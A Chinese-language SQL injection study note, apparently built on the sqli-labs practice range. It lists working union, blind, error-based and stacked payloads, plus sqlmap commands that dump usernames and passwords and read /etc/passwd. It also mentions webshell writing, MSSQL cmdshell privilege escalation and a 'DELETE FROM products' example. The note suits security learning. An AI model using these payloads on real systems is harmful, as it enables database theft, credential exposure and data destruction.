SQL注入
原理:用户能控制输入的内容;Web应用把用户输入的内容带入到数据库中执行。
分类:依据注入点参数类型分类:数字型注入、字符型注入、搜索型注入
依据获取信息的方式分类:union注入、布尔盲注、时间盲注、报错注入、堆叠查询注入
依据请求方式分类:GET注入、POST注入、Cookie注入、HTTP头注入(XFF注入、UA注入、Reference注入)
依据DBMS分类:Access、MSSQL、Oracle、MySQL
位置:参数点、登陆框、搜索框
1.union注入 【sqli-labs靶场的第1-4关】
目的 脚本
0.判断是否存在注入点 添加单引号' 双引号" 单括号) 双括号))看看是否报错,报错说明可能存在
添加 and 1=1 和 and 1=2 看看显示页面是否一致,不一致说明可能存在
1.判断数字型or字符型,字符型需要注释。 单引号'报错且双引号"正常 为字符型
and 1=1 正常且 and 1=2 报错 为数值型
加引号报错=数值型;加引号正常=字符型
做减法运算,可运算为数值型;
2.判断前个查询语句的列数 order by 8 --+
3.判断回显点 ?id=-1 union select 1,2,3 --+
4.查库名 ?id=-1 union select 1,database(),3 --+
5.查表名 ?id=-3 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+
6.查列名 ?id=-3 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 --+
7.查字段 ?id=-3 union select 1,(select group_concat(id,0x7e,username,'~',password) from security.users),3 --+
2.盲注
原理:SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
常用函数:
函数 描述
left(字符串,截取长度) 从左边截取指定长度的字符串
length(字符串) 获取字符串的长度
ascii(字符串) 将指定字符串进行ascii编码
substr(字符串,start,截取长度) 截取字符串,可以指定起始位置和长度
mid(字符串,start,截取长度) 截取字符串,可以指定起始位置和长度
count() 计算总数,返回匹配条件的行数。
sleep(n) 将程序挂起n秒
if(参数1,参数2,参数3) 参数1为条件,当参数1返回的结果为true时,执行参数2,否则执行参数3
手工盲注步骤:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
2.1 布尔盲注
- 页面上没有显示位
- 并且没有输出SQL语句执行错误信息
- 只能通过页面返回正常与不正常判断,即布尔值True or False
手工进行布尔盲注:
http://192.168.8.146/sqli/Less-8/?id=1' and ascii(substr(database(),{},1))>{} --
sqlmap进行布尔盲注:
#查询数据库 #【security】
python sqlmap.py -u http://192.168.8.146/sqli/Less-8/?id=1 --technique B --dbs --batch --threads 10
#获取数据库中的表 #【emails、referers、uagents、users】
python sqlmap.py -u http://192.168.8.146/sqli/Less-8/?id=1 --technique B -D security --tables --batch --threads 10
#获取表中的字段名 #【id、username、password】
python sqlmap.py -u http://192.168.8.146/sqli/Less-8/?id=1 --technique B -D security -T users --columns --batch --threads 10
#获取字段信息 #【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://192.168.8.146/sqli/Less-8/?id=1 --technique B -D security -T users -C username,password --dump --batch --threads 10
2.2 时间盲注
- 页面上没有显示位
- 也没有SQL语句执行报错信息
- 页面无任何异常,正确的sql语句和错误的sql语句页面返回一致
- 只能使用sleep()函数进行判断
手工进行时间盲注:
http://192.168.8.146/sqli/Less-9/?id=4 ' and sleep(1) --+
http://192.168.8.146/sqli/Less-9/?id=4 ' and if(ascii(substr(database(),1,1))>1,sleep(1),0) --+
sqlmap进行时间盲注:
#查询数据库 #【security】
python sqlmap.py -u http://192.168.8.146/sqli/Less-9/?id=4 --technique T --dbs --batch --threads 10
#获取数据库中的表 #【emails、referers、uagents、users】
python sqlmap.py -u http://192.168.8.146/sqli/Less-9/?id=4 --technique T -D security --tables --batch --threads 10
#获取表中的字段名 #【id、username、password】
python sqlmap.py -u http://192.168.8.146/sqli/Less-9/?id=4 --technique T -D security -T users --columns --batch --threads 10
#获取字段信息 【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://192.168.8.146/sqli/Less-9/?id=4 --technique T -D security -T users -C username,password --dump --batch --threads 10
2.3 DNSlog盲注(外带)
什么是DNS
DNS的全称是 Domain Name System(域名系统),它将域名解析为 IP,使人更方便地访问互联网。当用户输入某一网址如www.baidu.com,网络上的 DNS 服务器会将该域名解析,并找到对应的真实IP:182.61.200.6,使用户可以访问这台服务器上相应的服务。
什么是DNSlog
DNSlog 就是存储在 DNS 服务器上的域名信息,它记录着用户对域名的访问信息,类似日志文件。SQL 盲注、命令执行、SSRF 及 XSS 等攻击而无法看到回显结果时,就会用到 DNSlog 技术。
为什么用Dnslog盲注
对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,最后导致 IP 被 ban,Dnslog 盲注可以减少发送的请求,直接回显数据实现注入。
利用的前提条件:
- MySQL支持load_file()函数,通过执行 show variables like '%secure%'; 查看 load_file() 是否可以读取文件。
- 由于使用的是Windows的UNC路径特性,因此不支持Linux平台。只支持Windows平台。
- 拥有DNSlog地址,可使用以下DNSlog平台:http://ceye.io 或 http://www.dnslog.cn
3.报错注入
原理:报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
3.1 floor报错注入
原理:双查询报错/floor报错注入是由于rand(),count(),group by ,floor四个语句联合使用造成的,缺一不可。
待更...
3.2 extractvalue()报错注入
利用xpath语法错误来进行报错注入。主要利用extractvalue
和updatexml
两个函数。
待更...
3.3 updatexml()报错注入 【sqli-labs靶场的第5,6关】
【Less-5】GET-Double Injection-Single Quotes-String——双注入单引号
?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
【Less-6】GET-Double Injection-Double Quotes-String——双注入双引号
?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+
待更...
4.宽字节注入
待更...
5.堆叠注入
原理:在SQL中,分号(;)是用来表示一条SQL语句的结束。试想一下我们在分号(;)结束后一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products
服务器端生成的sql语句为:select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
6.HTTP head注入
原理:有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过HTTP header头信息获取客户端的一些资料,比如User-Agent、Accept字段等的时候,会对客户端的HTTP header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于HTTP header的SQL Inject漏洞。
6.1 Cookie注入
原理:通过修改Cookie的值进行注入,Cookie注入跟普通sql注入过程一样。
sqlmap进行Cookie注入:
python sqlmap.py -u "http://xxx.com" --cookie "id=1" --dbs --level 2
6.2 User-Agent注入
待更...
6.3 XFF注入
待更...
7.二次编码注入
待更...
8.读写文件
读取文件
函数:load_file(file_name)读取文件并返回该文件内容作为一个字符串。
前提:
必须有权限读取并且文件必须完全可读
必须指定文件完整路径
能够使用union查询(sql注入时)
对Web目录有写权限用户必须有secure_file_priv=文件权限
欲读取文件必须小于max_allowed_packetde的允许值
sqlmap读取文件:
python sqlmap.py -u "http://xxx/x?id=1" --file-read=/etc/passwd
注:若mysql<5.0:可利用sqlmap的sql-shell读取文件。
写入文件(比如一句话木马)
函数:into outfile()
sqlmap写入文件:
待更...
9.其它DBMS注入
Access
默认后缀:.mdb
目的 脚本 判断
判断是否为access数据库 and exists (select * from msysobjects)>0 根据返回的报错信息确认
判断是否存在admin表 and exists (select * from admin) 未报错说明存在admin表
判断是否存在admin列 and exists (select admin from admin) 未报错说明存在admin列
判断是否存在password列 and exists (select admin from admin) 未报错说明存在password列
MSSQL
默认端口:1433
工具:啊D、Pangolin
策略:小权限:文件管理---差异备份---写入小马 sa权限:执行cmdshell命令——提权、开3389
目的 脚本 判断
判断是否为mssql and user>0 根据返回的报错信息确认
and exists (select * from sysobjects)>0
获取表users的数据 and 1=(select top 1 uname from users)
and 1=(select top 1 upass from users)
Oracle
默认端口:1521
目的 脚本 判断
猜表名 and (select count(*) from admin) <>0 返回正常则admin表存在
猜列名 and (select count(user) from admin) <>0 返回正常则user列存在,继续猜pwd列是否存在
猜账户的长度 and (select count(*) from admin where length(name)>=5)=1 返回正常即账户长度为5
猜账户(通过ASII码) and (select count(*) from admin where ascii(substr(name,1,1))>=97) =1
猜密码的长度 and (select count(*) from admin where lengh(pwd)>=8)=1 返回正常即密码长度为8,判断密码为明文
猜密码(通过ASII码) and (select count(*) from admin where ascii(substr(pwd,1,1))>=97) =1
*其它未归档
get注入 id后的常规注入
post注入(登录框注入) sqlmap.py -u "登录页面url" --data "tfUPass=111&UName=111" --dbs -D-T-C--dump
cookie注入(可绕过拦截) 使用Pangolin或注入中转器绕过拦截后,进行get注入。
搜索型注入 bp抓包保存至1.txt(存在keyword关键字);sqlmp.py -r 1.txt --tables
base64注入
伪静态注入: 修改页面成.php?id=89